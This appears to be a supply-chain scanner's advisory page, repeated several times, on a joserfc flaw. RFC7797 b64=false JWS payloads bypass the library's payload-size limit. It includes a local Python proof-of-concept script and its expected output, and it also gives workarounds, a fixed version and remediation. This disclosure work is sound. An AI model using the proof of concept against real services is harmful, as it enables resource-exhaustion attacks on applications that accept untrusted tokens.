# RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization ## Summary Testing revealed that `joserfc` accepts oversized RFC7797 `b64=false` JWS payloads without applying `JWSRegistry.max_payload_length`. The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with `ExceededSizeError`. The RFC7797 unencoded payload paths do not make the same check. A valid `b64=false` compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than `JWSRegistry.max_payload_length`. This creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on `joserfc` to reject oversized token content during verification. ## Affected Product - Package: `joserfc` - Ecosystem: `pip` - Audited release: `1.6.5` - Audit tag: `1.6.5` - Audit commit: `881712980934fb601bed26fe3ae1ec0b7780e6f7` - Tested affected releases: `1.3.4`, `1.3.5`, `1.4.2`, `1.6.2`, `1.6.3`, `1.6.4`, `1.6.5` - Fixed release: none known ## Vulnerability Details In `joserfc` 1.6.5, the default JWS registry has `max_payload_length = 128000` and exposes `validate_payload_size()`. The normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly: ```text if is_rfc7797_enabled(protected): if not payload_segment and payload: payload_segment = to_bytes(payload) payload = payload_segment ``` The flattened JSON RFC7797 path has the same pattern: ```text payload_segment = value["payload"].encode("utf-8") if is_rfc7797_enabled(member.headers()): payload = payload_segment ``` Neither branch calls `registry.validate_payload_size(payload_segment)` before accepting the unencoded payload. ## Reproduction The proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 `b64=false` behavior. Requirements: ```bash python -m pip install "joserfc==1.6.5" ``` Run: ```bash python joserfc_rfc7797_size_bypass_poc.py ``` Self-contained proof script: ```python #!/usr/bin/env python3 import json import joserfc from joserfc import jws from joserfc.jwk import OctKey def check_compact(name, header, payload, key): token = jws.serialize_compact(header, payload, key) try: obj = jws.deserialize_compact(token, key) return { "case": name, "accepted": True, "exception": None, "payload_len_after_deserialize": len(obj.payload), } except Exception as exc: return { "case": name, "accepted": False, "exception": type(exc).__name__, "error": str(exc), } def check_json(name, protected, payload, key): data = jws.serialize_json({"protected": protected}, payload, key) try: obj = jws.deserialize_json(data, key) return { "case": name, "accepted": True, "exception": None, "payload_len_after_deserialize": len(obj.payload), } except Exception as exc: return { "case": name, "accepted": False, "exception": type(exc).__name__, "error": str(exc), } key = OctKey.import_key("secret-secret-secret") limit = jws.default_registry.max_payload_length payload = "A" * (limit + 1) results = { "joserfc_version": joserfc.__version__, "default_max_payload_length": limit, "payload_len": len(payload), "compact": [ check_compact("normal_b64_true", {"alg": "HS256"}, payload, key), check_compact( "rfc7797_b64_false", {"alg": "HS256", "b64": False, "crit": ["b64"]}, payload, key, ), ], "json": [ check_json("normal_b64_true_json", {"alg": "HS256"}, payload, key), check_json( "rfc7797_b64_false_json", {"alg": "HS256", "b64": False, "crit": ["b64"]}, payload, key, ), ], } print(json.dumps(results, indent=2, sort_keys=True)) ``` Expected output on `1.6.5` includes: ```json { "default_max_payload_length": 128000, "payload_len": 128001, "compact": [ { "case": "normal_b64_true", "accepted": false, "exception": "ExceededSizeError" }, { "case": "rfc7797_b64_false", "accepted": true, "exception": null, "payload_len_after_deserialize": 128001 } ], "json": [ { "case": "normal_b64_true_json", "accepted": false, "exception": "ExceededSizeError" }, { "case": "rfc7797_b64_false_json", "accepted": true, "exception": null, "payload_len_after_deserialize": 128001 } ] } ``` ## Version Checks I reproduced the same differential behavior on these releases: | Version | Normal JWS over limit | RFC7797 `b64=false` over limit | | --- | --- | --- | | 1.3.4 | `ExceededSizeError` | accepted | | 1.3.5 | `ExceededSizeError` | accepted | | 1.4.2 | `ExceededSizeError` | accepted | | 1.6.2 | `ExceededSizeError` | accepted | | 1.6.3 | `ExceededSizeError` | accepted | | 1.6.4 | `ExceededSizeError` | accepted | | 1.6.5 | `ExceededSizeError` | accepted | The exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it. ## Relationship to Existing Advisories I found two related public advisories for `joserfc`, but neither appears to cover this root cause. `GHSA-frfh-8v73-gjg4` / `CVE-2025-65015` describes oversized token parts being included in `ExceededSizeError` messages in older release ranges. The issue described here reproduces in `1.6.5` and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising `ExceededSizeError`. `GHSA-w5r5-m38g-f9f9` / `CVE-2026-27932` describes unbounded PBES2 `p2c` iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption. ## Workarounds Before a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to `joserfc`, disabling or disallowing RFC7797 `b64=false` tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer. ## Suggested Remediation Apply `registry.validate_payload_size(payload_segment)` to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the `payload` argument should be checked in the same way.
# RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization ## Summary Testing revealed that `joserfc` accepts oversized RFC7797 `b64=false` JWS payloads without applying `JWSRegistry.max_payload_length`. The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with `ExceededSizeError`. The RFC7797 unencoded payload paths do not make the same check. A valid `b64=false` compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than `JWSRegistry.max_payload_length`. This creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on `joserfc` to reject oversized token content during verification. ## Affected Product - Package: `joserfc` - Ecosystem: `pip` - Audited release: `1.6.5` - Audit tag: `1.6.5` - Audit commit: `881712980934fb601bed26fe3ae1ec0b7780e6f7` - Tested affected releases: `1.3.4`, `1.3.5`, `1.4.2`, `1.6.2`, `1.6.3`, `1.6.4`, `1.6.5` - Fixed release: none known ## Vulnerability Details In `joserfc` 1.6.5, the default JWS registry has `max_payload_length = 128000` and exposes `validate_payload_size()`. The normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly: ```text if is_rfc7797_enabled(protected): if not payload_segment and payload: payload_segment = to_bytes(payload) payload = payload_segment ``` The flattened JSON RFC7797 path has the same pattern: ```text payload_segment = value["payload"].encode("utf-8") if is_rfc7797_enabled(member.headers()): payload = payload_segment ``` Neither branch calls `registry.validate_payload_size(payload_segment)` before accepting the unencoded payload. ## Reproduction The proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 `b64=false` behavior. Requirements: ```bash python -m pip install "joserfc==1.6.5" ``` Run: ```bash python joserfc_rfc7797_size_bypass_poc.py ``` Self-contained proof script: ```python #!/usr/bin/env python3 import json import joserfc from joserfc import jws from joserfc.jwk import OctKey def check_compact(name, header, payload, key): token = jws.serialize_compact(header, payload, key) try: obj = jws.deserialize_compact(token, key) return { "case": name, "accepted": True, "exception": None, "payload_len_after_deserialize": len(obj.payload), } except Exception as exc: return { "case": name, "accepted": False, "exception": type(exc).__name__, "error": str(exc), } def check_json(name, protected, payload, key): data = jws.serialize_json({"protected": protected}, payload, key) try: obj = jws.deserialize_json(data, key) return { "case": name, "accepted": True, "exception": None, "payload_len_after_deserialize": len(obj.payload), } except Exception as exc: return { "case": name, "accepted": False, "exception": type(exc).__name__, "error": str(exc), } key = OctKey.import_key("secret-secret-secret") limit = jws.default_registry.max_payload_length payload = "A" * (limit + 1) results = { "joserfc_version": joserfc.__version__, "default_max_payload_length": limit, "payload_len": len(payload), "compact": [ check_compact("normal_b64_true", {"alg": "HS256"}, payload, key), check_compact( "rfc7797_b64_false", {"alg": "HS256", "b64": False, "crit": ["b64"]}, payload, key, ), ], "json": [ check_json("normal_b64_true_json", {"alg": "HS256"}, payload, key), check_json( "rfc7797_b64_false_json", {"alg": "HS256", "b64": False, "crit": ["b64"]}, payload, key, ), ], } print(json.dumps(results, indent=2, sort_keys=True)) ``` Expected output on `1.6.5` includes: ```json { "default_max_payload_length": 128000, "payload_len": 128001, "compact": [ { "case": "normal_b64_true", "accepted": false, "exception": "ExceededSizeError" }, { "case": "rfc7797_b64_false", "accepted": true, "exception": null, "payload_len_after_deserialize": 128001 } ], "json": [ { "case": "normal_b64_true_json", "accepted": false, "exception": "ExceededSizeError" }, { "case": "rfc7797_b64_false_json", "accepted": true, "exception": null, "payload_len_after_deserialize": 128001 } ] } ``` ## Version Checks I reproduced the same differential behavior on these releases: | Version | Normal JWS over limit | RFC7797 `b64=false` over limit | | --- | --- | --- | | 1.3.4 | `ExceededSizeError` | accepted | | 1.3.5 | `ExceededSizeError` | accepted | | 1.4.2 | `ExceededSizeError` | accepted | | 1.6.2 | `ExceededSizeError` | accepted | | 1.6.3 | `ExceededSizeError` | accepted | | 1.6.4 | `ExceededSizeError` | accepted | | 1.6.5 | `ExceededSizeError` | accepted | The exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it. ## Relationship to Existing Advisories I found two related public advisories for `joserfc`, but neither appears to cover this root cause. `GHSA-frfh-8v73-gjg4` / `CVE-2025-65015` describes oversized token parts being included in `ExceededSizeError` messages in older release ranges. The issue described here reproduces in `1.6.5` and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising `ExceededSizeError`. `GHSA-w5r5-m38g-f9f9` / `CVE-2026-27932` describes unbounded PBES2 `p2c` iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption. ## Workarounds Before a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to `joserfc`, disabling or disallowing RFC7797 `b64=false` tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer. ## Suggested Remediation Apply `registry.validate_payload_size(payload_segment)` to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the `payload` argument should be checked in the same way.
Update joserfc to 1.6.7 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanjoserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization affects joserfc (pip). Severity is medium. # RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization ## Summary Testing revealed that `joserfc` accepts oversized RFC7797 `b64=false` JWS payloads without applying `JWSRegistry.max_payload_length`. The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with `ExceededSizeError`. The RFC7797 unencoded payload paths do not make the same check. A valid `b64=false` compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than `JWSRegistry.max_payload_length`. This creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on `joserfc` to reject oversized token content during verification. ## Affected Product - Package: `joserfc` - Ecosystem: `pip` - Audited release: `1.6.5` - Audit tag: `1.6.5` - Audit commit: `881712980934fb601bed26fe3ae1ec0b7780e6f7` - Tested affected releases: `1.3.4`, `1.3.5`, `1.4.2`, `1.6.2`, `1.6.3`, `1.6.4`, `1.6.5` - Fixed release: none known ## Vulnerability Details In `joserfc` 1.6.5, the default JWS registry has `max_payload_length = 128000` and exposes `validate_payload_size()`. The normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly: ```text if is_rfc7797_enabled(protected): if not payload_segment and payload: payload_segment = to_bytes(payload) payload = payload_segment ``` The flattened JSON RFC7797 path has the same pattern: ```text payload_segment = value["payload"].encode("utf-8") if is_rfc7797_enabled(member.headers()): payload = payload_segment ``` Neither branch calls `registry.validate_payload_size(payload_segment)` before accepting the unencoded payload. ## Reproduction The proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 `b64=false` behavior. Requirements: ```bash python -m pip install "joserfc==1.6.5" ``` Run: ```bash python joserfc_rfc7797_size_bypass_poc.py ``` Self-contained proof script: ```python #!/usr/bin/env python3 import json import joserfc from joserfc import jws from joserfc.jwk import OctKey def check_compact(name, header, payload, key): token = jws.serialize_compact(header, payload, key) try: obj = jws.deserialize_compact(token, key) return { "case": name, "accepted": True, "exception": None, "payload_len_after_deserialize": len(obj.payload), } except Exception as exc: return { "case": name, "accepted": False, "exception": type(exc).__name__, "error": str(exc), } def check_json(name, protected, payload, key): data = jws.serialize_json({"protected": protected}, payload, key) try: obj = jws.deserialize_json(data, key) return { "case": name, "accepted": True, "exception": None, "payload_len_after_deserialize": len(obj.payload), } except Exception as exc: return { "case": name, "accepted": False, "exception": type(exc).__name__, "error": str(exc), } key = OctKey.import_key("secret-secret-secret") limit = jws.default_registry.max_payload_length payload = "A" * (limit + 1) results = { "joserfc_version": joserfc.__version__, "default_max_payload_length": limit, "payload_len": len(payload), "compact": [ check_compact("normal_b64_true", {"alg": "HS256"}, payload, key), check_compact( "rfc7797_b64_false", {"alg": "HS256", "b64": False, "crit": ["b64"]}, payload, key, ), ], "json": [ check_json("normal_b64_true_json", {"alg": "HS256"}, payload, key), check_json( "rfc7797_b64_false_json", {"alg": "HS256", "b64": False, "crit": ["b64"]}, payload, key, ), ], } print(json.dumps(results, indent=2, sort_keys=True)) ``` Expected output on `1.6.5` includes: ```json { "default_max_payload_length": 128000, "payload_len": 128001, "compact": [ { "case": "normal_b64_true", "accepted": false, "exception": "ExceededSizeError" }, { "case": "rfc7797_b64_false", "accepted": true, "exception": null, "payload_len_after_deserialize": 128001 } ], "json": [ { "case": "normal_b64_true_json", "accepted": false, "exception": "ExceededSizeError" }, { "case": "rfc7797_b64_false_json", "accepted": true, "exception": null, "payload_len_after_deserialize": 128001 } ] } ``` ## Version Checks I reproduced the same differential behavior on these releases: | Version | Normal JWS over limit | RFC7797 `b64=false` over limit | | --- | --- | --- | | 1.3.4 | `ExceededSizeError` | accepted | | 1.3.5 | `ExceededSizeError` | accepted | | 1.4.2 | `ExceededSizeError` | accepted | | 1.6.2 | `ExceededSizeError` | accepted | | 1.6.3 | `ExceededSizeError` | accepted | | 1.6.4 | `ExceededSizeError` | accepted | | 1.6.5 | `ExceededSizeError` | accepted | The exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it. ## Relationship to Existing Advisories I found two related public advisories for `joserfc`, but neither appears to cover this root cause. `GHSA-frfh-8v73-gjg4` / `CVE-2025-65015` describes oversized token parts being included in `ExceededSizeError` messages in older release ranges. The issue described here reproduces in `1.6.5` and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising `ExceededSizeError`. `GHSA-w5r5-m38g-f9f9` / `CVE-2026-27932` describes unbounded PBES2 `p2c` iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption. ## Workarounds Before a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to `joserfc`, disabling or disallowing RFC7797 `b64=false` tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer. ## Suggested Remediation Apply `registry.validate_payload_size(payload_segment)` to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the `payload` argument should be checked in the same way.
AI coding agents often install or upgrade packages automatically in pip. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| joserfcpip | >=1.3.4,<1.6.7 | 1.6.7 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate joserfc to 1.6.7 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanjoserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization affects joserfc (pip). Severity is medium. # RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization ## Summary Testing revealed that `joserfc` accepts oversized RFC7797 `b64=false` JWS payloads without applying `JWSRegistry.max_payload_length`. The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with `ExceededSizeError`. The RFC7797 unencoded payload paths do not make the same check. A valid `b64=false` compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than `JWSRegistry.max_payload_length`. This creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on `joserfc` to reject oversized token content during verification. ## Affected Product - Package: `joserfc` - Ecosystem: `pip` - Audited release: `1.6.5` - Audit tag: `1.6.5` - Audit commit: `881712980934fb601bed26fe3ae1ec0b7780e6f7` - Tested affected releases: `1.3.4`, `1.3.5`, `1.4.2`, `1.6.2`, `1.6.3`, `1.6.4`, `1.6.5` - Fixed release: none known ## Vulnerability Details In `joserfc` 1.6.5, the default JWS registry has `max_payload_length = 128000` and exposes `validate_payload_size()`. The normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly: ```text if is_rfc7797_enabled(protected): if not payload_segment and payload: payload_segment = to_bytes(payload) payload = payload_segment ``` The flattened JSON RFC7797 path has the same pattern: ```text payload_segment = value["payload"].encode("utf-8") if is_rfc7797_enabled(member.headers()): payload = payload_segment ``` Neither branch calls `registry.validate_payload_size(payload_segment)` before accepting the unencoded payload. ## Reproduction The proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 `b64=false` behavior. Requirements: ```bash python -m pip install "joserfc==1.6.5" ``` Run: ```bash python joserfc_rfc7797_size_bypass_poc.py ``` Self-contained proof script: ```python #!/usr/bin/env python3 import json import joserfc from joserfc import jws from joserfc.jwk import OctKey def check_compact(name, header, payload, key): token = jws.serialize_compact(header, payload, key) try: obj = jws.deserialize_compact(token, key) return { "case": name, "accepted": True, "exception": None, "payload_len_after_deserialize": len(obj.payload), } except Exception as exc: return { "case": name, "accepted": False, "exception": type(exc).__name__, "error": str(exc), } def check_json(name, protected, payload, key): data = jws.serialize_json({"protected": protected}, payload, key) try: obj = jws.deserialize_json(data, key) return { "case": name, "accepted": True, "exception": None, "payload_len_after_deserialize": len(obj.payload), } except Exception as exc: return { "case": name, "accepted": False, "exception": type(exc).__name__, "error": str(exc), } key = OctKey.import_key("secret-secret-secret") limit = jws.default_registry.max_payload_length payload = "A" * (limit + 1) results = { "joserfc_version": joserfc.__version__, "default_max_payload_length": limit, "payload_len": len(payload), "compact": [ check_compact("normal_b64_true", {"alg": "HS256"}, payload, key), check_compact( "rfc7797_b64_false", {"alg": "HS256", "b64": False, "crit": ["b64"]}, payload, key, ), ], "json": [ check_json("normal_b64_true_json", {"alg": "HS256"}, payload, key), check_json( "rfc7797_b64_false_json", {"alg": "HS256", "b64": False, "crit": ["b64"]}, payload, key, ), ], } print(json.dumps(results, indent=2, sort_keys=True)) ``` Expected output on `1.6.5` includes: ```json { "default_max_payload_length": 128000, "payload_len": 128001, "compact": [ { "case": "normal_b64_true", "accepted": false, "exception": "ExceededSizeError" }, { "case": "rfc7797_b64_false", "accepted": true, "exception": null, "payload_len_after_deserialize": 128001 } ], "json": [ { "case": "normal_b64_true_json", "accepted": false, "exception": "ExceededSizeError" }, { "case": "rfc7797_b64_false_json", "accepted": true, "exception": null, "payload_len_after_deserialize": 128001 } ] } ``` ## Version Checks I reproduced the same differential behavior on these releases: | Version | Normal JWS over limit | RFC7797 `b64=false` over limit | | --- | --- | --- | | 1.3.4 | `ExceededSizeError` | accepted | | 1.3.5 | `ExceededSizeError` | accepted | | 1.4.2 | `ExceededSizeError` | accepted | | 1.6.2 | `ExceededSizeError` | accepted | | 1.6.3 | `ExceededSizeError` | accepted | | 1.6.4 | `ExceededSizeError` | accepted | | 1.6.5 | `ExceededSizeError` | accepted | The exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it. ## Relationship to Existing Advisories I found two related public advisories for `joserfc`, but neither appears to cover this root cause. `GHSA-frfh-8v73-gjg4` / `CVE-2025-65015` describes oversized token parts being included in `ExceededSizeError` messages in older release ranges. The issue described here reproduces in `1.6.5` and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising `ExceededSizeError`. `GHSA-w5r5-m38g-f9f9` / `CVE-2026-27932` describes unbounded PBES2 `p2c` iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption. ## Workarounds Before a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to `joserfc`, disabling or disallowing RFC7797 `b64=false` tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer. ## Suggested Remediation Apply `registry.validate_payload_size(payload_segment)` to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the `payload` argument should be checked in the same way.
AI coding agents often install or upgrade packages automatically in pip. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| joserfcpip | >=1.3.4,<1.6.7 | 1.6.7 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard